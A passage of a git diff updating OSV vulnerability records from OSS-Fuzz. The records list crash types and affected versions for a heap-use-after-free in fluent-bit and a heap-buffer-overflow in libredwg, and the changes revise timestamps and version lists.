,"0.12.5.6851","0.12.5.6865","0.12.5.6872","0.12.5.6891","0.12.5.6912","0.12.5.6915","0.12.5.6924","0.12.5.6926","0.12.5.6932","0.12.5.6938","0.12.5.6939","0.12.5.6945","0.12.5.6948","0.12.5.6953","0.12.5.6958","0.12.5.6962","0.12.5.6971","0.12.5.6973","0.12.5.6979","0.12.5.6984","0.12.5.6987","0.12.5.6992","0.12.5.6996","0.13","0.13.0.7003","0.13.0.7011","0.13.0.7013","0.13.0.7031","0.13.0.7036","0.13.0.7045","0.13.0.7047","0.13.0.7050","0.13.0.7060","0.13.0.7066","0.13.0.7072","0.13.0.7081","0.13.1","0.13.1.7087","0.13.2","0.13.2.7111","0.13.2.7114","0.13.2.7117","0.13.2.7125","0.13.2.7142","0.13.2.7151","0.13.2.7153","0.13.2.7154","0.13.3","0.13.3.7163","0.13.3.7165","0.13.3.7166","0.13.3.7168","0.13.3.7176","0.13.3.7183","0.13.3.7186","0.13.3.7187","0.13.3.7190","0.13.3.7199","0.13.3.7217","0.13.3.7220","0.13.3.7223","0.13.3.7224","0.13.3.7225","0.13.3.7226","0.13.3.7227","0.13.3.7233","0.13.3.7240","0.13.3.7246","0.13.3.7251","0.13.3.7257","0.13.3.7259","0.13.3.7262","0.13.3.7264","0.13.3.7265","0.13.3.7268","0.13.3.7270","0.13.3.7273","0.13.3.7298","0.13.3.7306","0.13.3.7308","0.13.3.7311","0.13.3.7320","0.13.3.7324","0.13.3.7327","0.13.3.7338","0.13.3.7341","0.13.3.7344","0.13.3.7345","0.13.3.7351","0.13.3.7371","0.13.3.7377","0.13.3.7385","0.13.3.7405","0.13.3.7409","0.13.3.7411","0.13.3.7412","0.13.3.7414","0.13.3.7420","0.13.3.7424","0.13.3.7426","0.13.3.7429","0.13.3.7431","0.13.3.7434","0.13.3.7437","0.13.3.7442","0.13.3.7445","0.13.3.7453","0.13.3.7456","0.13.3.7460","0.13.3.7466","0.13.3.7469","0.13.3.7472","0.13.3.7473","0.13.3.7483","0.13.3.7491","0.13.3.7501","0.13.3.7507","0.13.3.7516","0.13.3.7533","0.13.3.7534","0.13.3.7535","0.13.3.7539","0.13.3.7545","0.13.3.7551","0.13.3.7552","0.13.3.7554","0.13.3.7557","0.13.3.7558","0.13.3.7562","0.13.3.7571","0.13.3.7574","0.13.3.7577","0.13.3.7582","0.13.3.7599","0.13.3.7600","0.13.3.7603","0.13.3.7635","0.13.3.7637","0.13.3.7640","0.13.3.7646","0.13.3.7649","0.13.3.7650","0.13.3.7657","0.13.3.7663","0.13.3.7665","0.13.3.7675","0.13.3.7680","0.13.3.7685","0.13.3.7686","0.13.3.7690","0.13.3.7696","0.13.3.7702","0.13.3.7715","0.13.3.7721","0.13.3.7727","0.13.3.7730","0.13.3.7737","0.13.3.7741","0.13.3.7743","0.13.3.7752","0.13.3.7761","0.13.3.7763","0.13.3.7772","0.13.3.7776","0.13.3.7778","0.13.3.7789","0.13.3.7792","0.13.3.7794","0.13.3.7797","0.13.3.7802","0.13.3.7805","0.13.3.7808","0.13.3.7810","0.13.3.7812","0.13.3.7813","0.13.3.7816","0.13.3.7819","0.13.3.7825","0.13.3.7828","0.13.3.7835","0.13.3.7842","0.13.3.7846","0.13.3.7848","0.13.3.7849","0.13.3.7850","0.13.3.7851","0.13.3.7852","0.13.3.7861","0.13.3.7867","0.13.3.7873","0.13.3.7883","0.13.3.7897","0.13.3.7901","0.13.3.7906","0.13.3.7913","0.13.3.7918","0.13.3.7928","0.13.3.7932","0.13.4.7951","0.13.4.7953","0.13.4.7958","0.13.4.7963","0.13.4.7964","0.13.4","0.13.4.7969","0.13.4.7974","0.13.4.7976","0.13.4.7985","0.13.4.7998","0.13.4.8001","0.13.4.8014","0.13.4.8018","0.13.4.8028","0.13.4.8029","0.13.4.8036","0.13.4.8043","0.13.4.8051","0.13.4.8055","0.13.4.8085","0.13.4.8091","0.13.4.8104","0.13.4.8112","0.13.4.8115","0.13.4.8118","0.13.4.8123","0.13.4.8129","0.13.4.8131","0.13.4.8140","0.13.4.8144","0.13.4.8149","0.13.4.8160","0.13.4.8163","0.13.4.8166","0.13.4.8168","0.13.4.8169","0.13.4.8171","0.13.4.8174","0.13.4.8178","0.13.4.8187","0.13.4.8198","0.13.4.8200","0.13.4.8214","0.13.4.8216","0.13.4.8229","0.13.4.8230","0.13.4.8231","0.13.4.8234","0.13.4.8236","0.13.4.8237","0.13.4.8241","0.13.4.8246","0.13.4.8249","0.13.4.8252","0.13.4.8263","0.13.4.8268","0.13.4.8270","0.13.4.8273","0.13.4.8278","0.13.4.8284","0.13.4.8285","0.13.4.8293","0.13.4.8294","0.13.4.8295","0.13.4.8302","0.13.4.8304","0.13.4.8313","0.13.4.8317","0.13.4.8321","0.13.4.8336","0.13.4.8343","0.13.4.8348","0.13.4.8351","0.13.4.8356","0.13.4.8360","0.14","0.14.8363","0.14.8367","0.14.8374","0.14.8384","0.14.8390","0.14.8394","0.14.8396","0.14.8403","0.14.8406","0.14.8411","0.14.8413","0.14.8415","0.14.8418","0.14.8421","0.14.8433","0.14.8447","0.14.8460","0.14.8464","0.14.8465","0.14.8471","0.14.8487","0.14.8488","0.14.8492","0.14.8522","0.14.8531","0.14.8544","0.14.8547","0.14.8553","0.14.8554","0.14.8556","0.14.8561","0.14.8566","0.14.8578","0.14.8580","0.14.8583","0.14.8584","0.14.8585","0.14.8590","0.14.8592","0.14.8593","0.14.8594","0.14.8597","0.14.8599","0.14.8600","0.14.8601","0.14.8607","0.14.8608","0.14.8612","0.14.8622","0.14.8623","0.14.8625","0.14.8630","0.14.8635","0.14.8639","0.14.8641","0.14.8654","0.14.8656","0.14.8676","0.14.8679","0.14.8726","0.14.8739","0.14.8744","0.14.8750","0.14.8755","0.14.8758","0.14.8761","0.14.8768","0.14.8815","0.14.8823","0.14.8829","0.14.8838","0.14.8841","0.14.8847","0.14.8848","0.14.8850","0.14.8857","0.14.8869","0.14.8878","0.14.8887","0.14.8893","0.14.8907","0.14.8913","0.14.8922","0.14.8927","0.14.8931","0.14.8933","0.14.8936","0.14.8941","0.14.8946"],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/libredwg/OSV-2022-1259.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=54228"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2022-1277.json b/data/OSS-Fuzz/OSV-2022-1277.json index b38b62ca28..4fa4bb32da 100644 --- a/data/OSS-Fuzz/OSV-2022-1277.json +++ b/data/OSS-Fuzz/OSV-2022-1277.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"OSV-2022-1277","published":"2023-06-26T14:01:01.876870Z","modified":"2026-11-10T14:30:05.710184962Z","summary":"Heap-use-after-free in mk_event_timeout_destroy","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=60089\n\n```\nCrash type: Heap-use-after-free WRITE 8\nCrash state:\nmk_event_timeout_destroy\nflb_sched_destroy\nflb_config_exit\n```\n","affected":[{"package":{"name":"fluent-bit","ecosystem":"OSS-Fuzz","purl":"pkg:generic/fluent-bit"},"ranges":[{"type":"GIT","repo":"https://github.com/fluent/fluent-bit/","events":[{"introduced":"0c5d8da6bbf32d4712d4dd718155ac2301b1bb17"},{"introduced":"73bc3ec78451aa41757bf7a12366228b79527544"}]}],"versions":["tiger-2.0.9-dev-20230104","v2.0.0","v2.0.0-rc1","v2.0.0-rc2","v2.0.0-rc3","v2.0.0pre","v2.0.1","v2.0.10","v2.0.11","v2.0.12","v2.0.13","v2.0.14","v2.0.2","v2.0.3","v2.0.4","v2.0.5","v2.0.6","v2.0.7","v2.0.8","v2.0.9","v2.1.0","v2.1.0-rc1","v2.1.0-rc2","v2.1.1","v2.1.10","v2.1.2","v2.1.3","v2.1.4","v2.1.5","v2.1.5-windows-artifact-fix","v2.1.6","v2.1.7","v2.1.8","v2.1.9","vv.2.0.7","v2.2.0","v2.2.1","v2.2.2","v3.0.0","v3.0.1","v3.0.2","v3.0.3","v3.0.4","v2.2.3","v3.0.5","v3.0.6","v3.0.7","v3.1.0","v3.1.1","v3.1.2","v3.1.3","v3.1.4","v3.1.5","v3.1.6","v3.1.7","v3.1.8","v3.1.9","v3.1.10","v3.2.0","v3.2.1","v3.2.2","v3.2.3","v3.2.4","v3.2.5","v3.2.6","v3.2.7","v3.2.8","v3.2.9","v3.2.10","v4.0.0","v4.0.1","v4.0.2","v4.0.3","v4.0.4","v4.0.5","v4.0.6","v4.0.7","v4.0.8","v4.0.9","v4.0.10","v4.0.11","v4.1.0","v4.0.12","v4.1.1","v4.0.13","v4.2.0","v4.2.1","v4.2.2","v5.0.0-dev-20260228","v5.0.0","v5.0.1","v5.0.2","v5.0.3","v5.0.4","v5.0.5","v5.0.6","v5.0.7","v5.0.8","v5.0.9","v5.1.0","v5.1.1","v5.1.2","v5.1.3","v5.1.4","v5.1.5","wasm-browser-e090fbd054c82ae67f12ebe926600827b6cf5f48","wasm-browser-364a2d700a05893618527fff8d4d1f9e5e2e35cd","wasm-browser-41dcc3d1f91a758921a2b995e7f249905c776277","wasm-browser-78911a0ff0594a2198235a96d6048d72909ff041","wasm-browser-85c7030b29c4a9702fa0229efd9eb71736e03038","wasm-browser-a0c6ac530896994398822df052015582e3830243","wasm-browser-a88af96c92534e1bb0d585f63e97e41cd543a059","wasm-browser-28ebf30c97d5bcb9ac6e3af3794023f1ebc92543","wasm-browser-9c04b3bcfcb50a036692ab30f2added0cb682215","wasm-browser-f6c314476f1fc9d6aac2bff1154a33a40a8a721a","wasm-browser-fc966e90da4d99afc36bee42e3ac444dcab9372e","v5.2.0","wasm-browser-8590ef6a819e36b84ee14ae325f46ea10b3ef852","wasm-browser-e0149076aeff009d35fd495e55379cb78f1eb53f","wasm-browser-d9464c001e4ab5a17b8dac566e4f7ab25c2bcb0b","v5.0.11","v5.0.10","v4.2.8","v4.2.7","v4.2.6","v4.2.5","v4.2.4","v4.2.3","v4.2.3.1","v4.0.14","v4.1.2"],"ecosystem_specific":{"severity":"HIGH"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/fluent-bit/OSV-2022-1277.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=60089"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"OSV-2022-1277","published":"2023-06-26T14:01:01.876870Z","modified":"2026-11-12T14:30:04.543054874Z","summary":"Heap-use-after-free in mk_event_timeout_destroy","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=60089\n\n```\nCrash type: Heap-use-after-free WRITE 8\nCrash state:\nmk_event_timeout_destroy\nflb_sched_destroy\nflb_config_exit\n```\n","affected":[{"package":{"name":"fluent-bit","ecosystem":"OSS-Fuzz","purl":"pkg:generic/fluent-bit"},"ranges":[{"type":"GIT","repo":"https://github.com/fluent/fluent-bit/","events":[{"introduced":"0c5d8da6bbf32d4712d4dd718155ac2301b1bb17"},{"introduced":"73bc3ec78451aa41757bf7a12366228b79527544"}]}],"versions":["tiger-2.0.9-dev-20230104","v2.0.0","v2.0.0-rc1","v2.0.0-rc2","v2.0.0-rc3","v2.0.0pre","v2.0.1","v2.0.10","v2.0.11","v2.0.12","v2.0.13","v2.0.14","v2.0.2","v2.0.3","v2.0.4","v2.0.5","v2.0.6","v2.0.7","v2.0.8","v2.0.9","v2.1.0","v2.1.0-rc1","v2.1.0-rc2","v2.1.1","v2.1.10","v2.1.2","v2.1.3","v2.1.4","v2.1.5","v2.1.5-windows-artifact-fix","v2.1.6","v2.1.7","v2.1.8","v2.1.9","vv.2.0.7","v2.2.0","v2.2.1","v2.2.2","v3.0.0","v3.0.1","v3.0.2","v3.0.3","v3.0.4","v2.2.3","v3.0.5","v3.0.6","v3.0.7","v3.1.0","v3.1.1","v3.1.2","v3.1.3","v3.1.4","v3.1.5","v3.1.6","v3.1.7","v3.1.8","v3.1.9","v3.1.10","v3.2.0","v3.2.1","v3.2.2","v3.2.3","v3.2.4","v3.2.5","v3.2.6","v3.2.7","v3.2.8","v3.2.9","v3.2.10","v4.0.0","v4.0.1","v4.0.2","v4.0.3","v4.0.4","v4.0.5","v4.0.6","v4.0.7","v4.0.8","v4.0.9","v4.0.10","v4.0.11","v4.1.0","v4.0.12","v4.1.1","v4.0.13","v4.2.0","v4.2.1","v4.2.2","v5.0.0-dev-20260228","v5.0.0","v5.0.1","v5.0.2","v5.0.3","v5.0.4","v5.0.5","v5.0.6","v5.0.7","v5.0.8","v5.0.9","v5.1.0","v5.1.1","v5.1.2","v5.1.3","v5.1.4","v5.1.5","wasm-browser-e090fbd054c82ae67f12ebe926600827b6cf5f48","wasm-browser-364a2d700a05893618527fff8d4d1f9e5e2e35cd","wasm-browser-41dcc3d1f91a758921a2b995e7f249905c776277","wasm-browser-78911a0ff0594a2198235a96d6048d72909ff041","wasm-browser-85c7030b29c4a9702fa0229efd9eb71736e03038","wasm-browser-a0c6ac530896994398822df052015582e3830243","wasm-browser-a88af96c92534e1bb0d585f63e97e41cd543a059","wasm-browser-28ebf30c97d5bcb9ac6e3af3794023f1ebc92543","wasm-browser-9c04b3bcfcb50a036692ab30f2added0cb682215","wasm-browser-f6c314476f1fc9d6aac2bff1154a33a40a8a721a","wasm-browser-fc966e90da4d99afc36bee42e3ac444dcab9372e","v5.2.0","wasm-browser-8590ef6a819e36b84ee14ae325f46ea10b3ef852","wasm-browser-e0149076aeff009d35fd495e55379cb78f1eb53f","wasm-browser-d9464c001e4ab5a17b8dac566e4f7ab25c2bcb0b","wasm-browser-f5a3cd20195a05542ec0b3e009084b0bce28ca54","v5.0.11","v5.0.10","v4.2.8","v4.2.7","v4.2.6","v4.2.5","v4.2.4","v4.2.3","v4.2.3.1","v4.0.14","v4.1.2"],"ecosystem_specific":{"severity":"HIGH"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/fluent-bit/OSV-2022-1277.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=60089"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2022-372.json b/data/OSS-Fuzz/OSV-2022-372.json index d70ecb016b..0504175daf 100644 --- a/data/OSS-Fuzz/OSV-2022-372.json +++ b/data/OSS-Fuzz/OSV-2022-372.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"OSV-2022-372","published":"2022-04-26T00:00:09.352798Z","modified":"2026-11-11T14:45:04.039550097Z","summary":"Heap-buffer-overflow in dwg_encode_VERTEX_2D","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=46994\n\n```\nCrash type: Heap-buffer-overflow READ 8\nCrash state:\ndwg_encode_VERTEX_2D\ndwg_encode_add_object\ndwg_encode\n```\n","affected":[{"package":{"name":"libredwg","ecosystem":"OSS-Fuzz","purl":"pkg:generic/libredwg"},"ranges":[{"type":"GIT","repo":"https://github.com/LibreDWG/libredwg","events":[{"introduced":"7bda865d59f843e174ac7e14c7dfe25243900956"}]}],"versions":["0.12.4.4522","0.12.4.4527","0.12.4.4530","0.12.4.4533","0.12.4.4535","0.12.4.4542","0.12.4.4544","0.12.4.4545","0.12.4.4548","0.12.4.4550","0.12.4.4553","0.12.4.4566","0.12.4.4567","0.12.4.4572","0.12.4.4583","0.12.4.4590","0.12.4.4598","0.12.4.4601","0.12.4.4606","0.12.4.4607","0.12.4.4608","0.12.4.4613","0.12.4.4615","0.12.4.4635","0.12.4.4637","0.12.4.4641","0.12.4.4643","0.12.4.4647","0.12.4.4652","0.12.4.4654","0.12.4.4658","0.12.4.4660","0.12.4.4668","0.12.5.4669","0.12.5.4678","0.12.5.4685","0.12.5.4690","0.12.5.4693","0.12.5.4695","0.12.5.4697","0.12.5.4700","0.12.5.4709","0.12.5.4712","0.12.5.4715","0.12.5.4722","0.12.5.4724","0.12.5.4726","0.12.5.4731","0.12.5.4735","0.12.5.4739","0.12.5.4741","0.12.5.4743","0.12.5.4748","0.12.5.4750","0.12.5.4756","0.12.5.4760","0.12.5.4763","0.12.5.4765","0.12.5.4772","0.12.5.4776","0.12.5.4780","0.12.5.4784","0.12.5.4787","0.12.5.4797","0.12.5.4803","0.12.5.4805","0.12.5.4815","0.12.5.4820","0.12.5.4823","0.12.5.4825","0.12.5.4831","0.12.5.4833","0.12.5.4835","0.12.5.4837","0.12.5.4838","0.12.5.4852","0.12.5.4859","0.12.5.4865","0.12.5.4873","0.12.5.4881","0.12.5.4885","0.12.5.4887","0.12.5.4890","0.12.5.4893","0.12.5.4896","0.12.5.4911","0.12.5.4913","0.12.5.4915","0.12.5.4925","0.12.5.4931","0.12.5.4934","0.12.5.4937","0.12.5.4943","0.12.5.4944","0.12.5.4945","0.12.5.4959","0.12.5.4969","0.12.5.4998","0.12.5.5001","0.12.5.5002","0.12.5.5004","0.12.5.5007","0.12.5.5010","0.12.5.5016","0.12.5.5024","0.12.5.5028","0.12.5.5030","0.12.5.5035","0.12.5.5040","0.12.5.5044","0.12.5.5046","0.12.5.5050","0.12.5.5052","0.12.5.5060","0.12.5.5061","0.12.5.5066","0.12.5.5085","0.12.5.5091","0.12.5.5092","0.12.5.5093","0.12.5.5094","0.12.5.5095","0.12.5.5097","0.12.5.5101","0.12.5.5103","0.12.5.5104","0.12.5.5111","0.12.5.5122","0.12.5.5135","0.12.5.5137","0.12.5.5140","0.12.5.5142","0.12.5.5161","0.12.5.5163","0.12.5.5169","0.12.5.5170","0.12.5.5178","0.12.5.5179","0.12.5.5182","0.12.5.5183","0.12.5.5184","0.12.5.5185","0.12.5.5186","0.12.5.5195","0.12.5.5203","0.12.5.5206","0.12.5.5207","0.12.5.5227","0.12.5.5245","0.12.5.5249","0.12.5.5256","0.12.5.5269","0.12.5.5270","0.12.5.5271","0.12.5.5288","0.12.5.5314","0.12.5.5320","0.12.5.5329","0.12.5.5333","0.12.5.5334","0.12.5.5340","0.12.5.5342","0.12.5.5344","0.12.5.5348","0.12.5.5353","0.12.5.5356","0.12.5.5364","0.12.5.5377","0.12.5.5385","0.12.5.5391","0.12.5.5393","0.12.5.5395","0.12.5.5396","0.12.5.5405","0.12.5.5411","0.12.5.5415","0.12.5.5417","0.12.5.5422","0.12.5.5429","0.12.5.5432","0.12.5.5435","0.12.5.5439","0.12.5.5442","0.12.5.5445","0.12.5.5454","0.12.5.5458","0.12.5.5462","0.12.5.5465","0.12.5.5469","0.12.5.5471","0.12.5.5473","0.12.5.5474","0.12.5.5487","0.12.5.5494","0.12.5.5504","0.12.5.5506","0.12.5.5513","0.12.5.5516","0.12.5.5518","0.12.5.5521","0.12.5.5528","0.12.5.5530","0.12.5.5537","0.12.5.5539","0.12.5.5544","0.12.5.5546","0.12.5.5549","0.12.5.5552","0.12.5.5554","0.12.5.5557","0.12.5.5560","0.12.5.5563","0.12.5.5570","0.12.5.5577","0.12.5.5584","0.12.5.5625","0.12.5.5646","0.12.5.5648","0.12.5.5654","0.12.5.5656","0.12.5.5660","0.12.5.5663","0.12.5.5666","0.12.5.5667","0.12.5.5668","0.12.5.5671","0.12.5.5688","0.12.5.5691","0.12.5.5697","0.12.5.5700","0.12.5.5708","0.12.5.5710","0.12.5.5712","0.12.5.5713","0.12.5.5716","0.12.5.5720","0.12.5.5721","0.12.5.5725","0.12.5.5731","0.12.5.5733","0.12.5.5741","0.12.5.5745","0.12.5.5746","0.12.5.5748","0.12.5.5751","0.12.5.5754","0.12.5.5759","0.12.5.5761","0.12.5.5764","0.12.5.5772","0.12.5.5779","0.12.5.5784","0.12.5.5787","0.12.5.5789","0.12.5.5793","0.12.5.5796","0.12.5.5799","0.12.5.5802","0.12.5.5804","0.12.5.5806","0.12.5.5809","0.12.5.5811","0.12.5.5813","0.12.5.5822","0.12.5.5827","0.12.5.5830","0.12.5.5832","0.12.5.5837","0.12.5.5845","0.12.5.5852","0.12.5.5856","0.12.5.5859","0.12.5.5862","0.12.5.5865","0.12.5.5870","0.12.5.5875","0.12.5.5877","0.12.5.5882","0.12.5.5885","0.12.5.5887","0.12.5.5889","0.12.5.5894","0.12.5.5898","0.12.5.5903","0.12.5.5907","0.12.5.5914","0.12.5.5915","0.12.5.5922","0.12.5.5949","0.12.5.5953","0.12.5.5959","0.12.5.5962","0.12.5.5968","0.12.5.5970","0.12.5.5971","0.12.5.5975","0.12.5.5982","0.12.5.6001","0.12.5.6004","0.12.5.6010","0.12.5.6013","0.12.5.6016","0.12.5.6019","0.12.5.6022","0.12.5.6023","0.12.5.6027","0.12.5.6033","0.12.5.6037","0.12.5.6040","0.12.5.6043","0.12.5.6044","0.12.5.6046","0.12.5.6055","0.12.5.6057","0.12.5.6068","0.12.5.6076","0.12.5.6077","0.12.5.6078","0.12.5.6080","0.12.5.6090","0.12.5.6096","0.12.5.6102","0.12.5.6109","0.12.5.6111","0.12.5.6113","0.12.5.6116","0.12.5.6118","0.12.5.6121","0.12.5.6127","0.12.5.6128","0.12.5.6133","0.12.5.6135","0.12.5.6138","0.12.5.6147","0.12.5.6149","0.12.5.6157","0.12.5.6160","0.12.5.6162","0.12.5.6164","0.12.5.6169","0.12.5.6171","0.12.5.6173","0.12.5.6183","0.12.5.6187","0.12.5.6191","0.12.5.6194","0.12.5.6199","0.12.5.6203","0.12.5.6205","0.12.5.6209","0.12.5.6214","0.12.5.6216","0.12.5.6220","0.12.5.6226","0.12.5.6229","0.12.5.6231","0.12.5.6236","0.12.5.6241","0.12.5.6243","0.12.5.6245","0.12.5.6248","0.12.5.6253","0.12.5.6257","0.12.5.6263","0.12.5.6269","0.12.5.6271","0.12.5.6277","0.12.5.6279","0.12.5.6285","0.12.5.6294","0.12.5.6302","0.12.5.6306","0.12.5.6310","0.12.5.6313","0.12.5.6316","0.12.5.6319","0.12.5.6321","0.12.5.6325","0.12.5.6333","0.12.5.6342","0.12.5.6347","0.12.5.6350","0.12.5.6355","0.12.5.6357","0.12.5.6360","0.12.5.6362","0.12.5.6366","0.12.5.6369","0.12.5.6374","0.12.5.6377","0.12.5.6384","0.12.5.6388","0.12.5.6391","0.12.5.6394","0.12.5.6399","0.12.5.6402","0.12.5.6406","0.12.5.6417","0.12.5.6424","0.12.5.6430","0.12.5.6432","0.12.5.6434","0.12.5.6437","0.12.5.6439","0.12.5.6444","0.12.5.6456","0.12.5.6459","0.12.5.6461","0.12.5.6465","0.12.5.6468","0.12.5.6479","0.12.5.6483","0.12.5.6488","0.12.5.6493","0.12.5.6495","0.12.5.6501","0.12.5.6511","0.12.5.6513","0.12.5.6517","0.12.5.6527","0.12.5.6533","0.12.5.6534","0.12.5.6539","0.12.5.6543","0.12.5.6548","0.12.5.6550","0.12.5.6564","0.12.5.6573","0.12.5.6578","0.12.5.6582","0.12.5.6585","0.12.5.6588","0.12.5.6597","0.12.5.6599","0.12.5.6605","0.12.5.6609","0.12.5.6612","0.12.5.6619","0.12.5.6622","0.12.5.6627","0.12.5.6630","0.12.5.6638","0.12.5.6640","0.12.5.6652","0.12.5.6653","0.12.5.6661","0.12.5.6664","0.12.5.6670","0.12.5.6677","0.12.5.6682","0.12.5.6688","0.12.5.6697","0.12.5.6701","0.12.5.6709","0.12.5.6714","0.12.5.6717","0.12.5.6726","0.12.5.6735","0.12.5.6739","0.12.5.6754","0.12.5.6756","0.12.5.6768","0.12.5.6776","0.12.5.6785","0.12.5.6792","0.12.5.6802","0.12.5.6811","0.12.5.6819","0.12.5.6828","0.12.5.6836","0.12.5.6843","0.12.5.6851","0.12.5.6865","0.12.5.6872","0.12.5.6891","0.12.5.6912","0.12.5.6915","0.12.5.6924","0.12.5.6926","0.12.5.6932","0.12.5.6938","0.12.5.6939","0.12.5.6945","0.12.5.6948","0.12.5.6953","0.12.5.6958","0.12.5.6962","0.12.5.6971","0.12.5.6973","0.12.5.6979","0.12.5.6984","0.12.5.6987","0.12.5.6992","0.12.5.6996","0.13","0.13.0.7003","0.13.0.7011","0.13.0.7013","0.13.0.7031","0.13.0.7036","0.13.0.7045","0.13.0.7047","0.13.0.7050","0.13.0.7060","0.13.0.7066","0.13.0.7072","0.13.0.7081","0.13.1","0.13.1.7087","0.13.2","0.13.2.7111","0.13.2.7114","0.13.2.7117","0.13.2.7125","0.13.2.7142","0.13.2.7151","0.13.2.7153","0.13.2.7154","0.13.3","0.13.3.7163","0.13.3.7165","0.13.3.7166","0.13.3.7168","0.13.3.7176","0.13.3.7183","0.13.3.7186","0.13.3.7187","0.13.3.7190","0.13.3.7199","0.13.3.7217","0.13.3.7220","0.13.3.7223","0.13.3.7224","0.13.3.7225","0.13.3.7226","0.13.3.7227","0.13.3.7233","0.13.3.7240","0.13.3.7246","0.13.3.7251","0.13.3.7257","0.13.3.7259","0.13.3.7262","0.13.3.7264","0.13.3.7265","0.13.3.7268","0.13.3.7270","0.13.3.7273","0.13.3.7298","0.13.3.7306","0.13.3.7308","0.13.3.7311","0.13.3.7320","0.13.3.7324","0.13.3.7327","0.13.3.7338","0.13.3.7341","0.13.3.7344","0.13.3.7345","0.13.3.7351","0.13.3.7371","0.13.3.7377","0.13.3.7385","0.13.3.7405","0.13.3.7409","0.13.3.7411","0.13.3.7412","0.13.3.7414","0.13.3.7420","0.13.3.7424","0.13.3.7426","0.13.3.7429","0.13.3.7431","0.13.3.7434","0.13.3.7437","0.13.3.7442","0.13.3.7445","0.13.3.7453","0.13.3.7456","0.13.3.7460","0.13.3.7466","0.13.3.7469","0.13.3.7472","0.13.3.7473","0.13.3.7483","0.13.3.7491","0.13.3.7501","0.13.3.7507","0.13.3.7516","0.13.3.7533","0.13.3.7534","0.13.3.7535","0.13.3.7539","0.13.3.7545","0.13.3.7551","0.13.3.7552","0.13.3.7554","0.13.3.7557","0.13.3.7558","0.13.3.7562","0.13.3.7571","0.13.3.7574","0.13.3.7577","0.13.3.7582","0.13.3.7599","0.13.3.7600","0.13.3.7603","0.13.3.7635","0.13.3.7637","0.13.3.7640","0.13.3.7646","0.13.3.7649","0.13.3.7650","0.13.3.7657","0.13.3.7663","0.13.3.7665","0.13.3.7675","0.13.3.7680","0.13.3.7685","0.13.3.7686","0.13.3.7690","0.13.3.7696","0.13.3.7702","0.13.3.7715","0.13.3.7721","0.13.3.7727","0.13.3.7730","0.13.3.7737","0.13.3.7741","0.13.3.7743","0.13.3.7752","0.13.3.7761","0.13.3.7763","0.13.3.7772","0.13.3.7776","0.13.3.7778","0.13.3.7789","0.13.3.7792","0.13.3.7794","0.13.3.7797","0.13.3.7802","0.13.3.7805","0.13.3.7808","0.13.3.7810","0.13.3.7812","0.13.3.7813","0.13.3.7816","0.13.3.7819","0.13.3.7825","0.13.3.7828","0.13.3.7835","0.13.3.7842","0.13.3.7846","0.13.3.7848","0.13.3.7849","0.13.3.7850","0.13.3.7851","0.13.3.7852","0.13.3.7861","0.13.3.7867","0.13.3.7873","0.13.3.7883","0.13.3.7897","0.13.3.7901","0.13.3.7906","0.13.3.7913","0.13.3.7918","0.13.3.7928","0.13.3.7932","0.13.4.7951","0.13.4.7953","0.13.4.7958","0.13.4.7963","0.13.4.7964","0.13.4","0.13.4.7969","0.13.4.7974","0.13.4.7976","0.13.4.7985","0.13.4.7998","0.13.4.8001","0.13.4.8014","0.13.4.8018","0.13.4.8028","0.13.4.8029","0.13.4.8036","0.13.4.8043","0.13.4.8051","0.13.4.8055","0.13.4.8085","0.13.4.8091","0.13.4.8104","0.13.4.8112","0.13.4.8115","0.13.4.8118","0.13.4.8123","0.13.4.8129","0.13.4.8131","0.13.4.8140","0.13.4.8144","0.13.4.8149","0.13.4.8160","0.13.4.8163","0.13.4.8166","0.13.4.8168","0.13.4.8169","0.13.4.8171","0.13.4.8174","0.13.4.8178","0.13.4.8187","0.13.4.8198","0.13.4.8200","0.13.4.8214","0.13.4.8216","0.13.4.8229","0.13.4.8230","0.13.4.8231","0.13.4.8234","0.13.4.8236","0.13.4.8237","0.13.4.8241","0.13.4.8246","0.13.4.8249","0.13.4.8252","0.13.4.8263","0.13.4.8268","0.13.4.8270","0.13.4.8273","0.13.4.8278","0.13.4.8284","0.13.4.8285","0.13.4.8293","0.13.4.8294","0.13.4.8295","0.13.4.8302","0.13.4.8304","0.13.4.8313","0.13.4.8317","0.13.4.8321","0.13.4.8336","0.13.4.8343","0.13.4.8348","0.13.4.8351","0.14","0.14.8363","0.14.8367","0.14.8374","0.14.8384","0.14.8390","0.14.8394","0.14.8396","0.14.8403","0.14.8406","0.14.8411","0.14.8413","0.14.8415","0.14.8418","0.14.8421","0.14.8433","0.14.8447","0.14.8460","0.14.8464","0.14.8465","0.14.8471","0.14.8487","0.14.8488","0.14.8492","0.14.8522","0.14.8531","0.14.8544","0.14.8547","0.14.8553","0.14.8554","0.14.8556","0.14.8561","0.14.8566","0.14.8578","0.14.8580","0.14.8583","0.14.8584","0.14.8585","0.14.8590","0.14.8592","0.14.8593","0.14.8594","0.14.8597","0.14.8599","0.14.8600","0.14.8601","0.14.8607","0.14.8608","0.14.8612","0.14.8622","0.14.8623","0.14.8625","0.14.8630","0.14.8635","0.14.8639","0.14.8641","0.14.8654","0.14.8656","0.14.8676","0.14.8679","0.14.8726","0.14.8739","0.14.8744","0.14.8750","0.14.8755","0.14.8758","0.14.8761","0.14.8768","0.14.8815","0.14.8823","0.14.8829","0.14.8838","0.14.8841","0.14.8847","0.14.8848","0.14.8850","0.14.8857","0.14.8869","0.14.8878","0.14.8887","0.14.8893","0.14.8907","0.14.8913","0.14.8922","0.14.8927","0.14.8931","0.14.8933","0.14.8936"],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"source":"https://github.com/google/oss-